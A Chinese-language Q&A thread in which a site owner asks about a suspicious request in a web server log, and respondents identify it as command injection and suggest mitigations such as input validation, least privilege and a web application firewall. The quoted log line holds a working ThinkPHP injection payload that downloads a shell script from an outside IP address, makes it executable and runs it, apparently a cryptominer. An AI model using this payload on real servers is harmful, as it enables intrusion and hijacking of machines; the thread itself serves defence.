如何防止用户通过浏览器 URL 执行命令?

信息安全 http 日志分析
2021-09-06 21:12:57

我在安全方面的经验很少(仍在学习),但是在梳理我的日志时,我注意到了以下请求:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

现在首先这对我来说毫无意义,除了chmod 777告诉我有人试图更改我的文件权限。

我的问题是这是一种什么样的攻击,我可以采取什么措施来防止它?

2个回答

这是一种命令注入攻击,其中:

目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单、cookie、HTTP 标头等)传递到系统 shell 时,命令注入攻击是可能的。在这种攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。由于输入验证不足,命令注入攻击很可能发生。

有许多策略可以减轻或避免此类攻击,例如:

  • 如果可以避免,请不要“执行”到操作系统。
  • 验证不受信任的输入。(字符集、最小和最大长度、匹配正则表达式模式...)
  • 中和在目标操作系统命令行中有意义的元字符。
  • 实施“最小特权”

您可以在此处找到一些内容,并查看OWASP 的这份备忘单以了解更多详细信息

如前所述,这是一种命令注入攻击,它尝试下载 .sh 脚本,授予其运行权限,然后执行它。本例中的脚本是比特币矿工。

OWASP 指南中的建议应该遵循 Soufiane 以确保您的 Web 应用程序是安全的,但是为了额外的安全层,可以使用 Web 应用程序防火墙,它将在这些请求到达您的服务器进程之前阻止它们。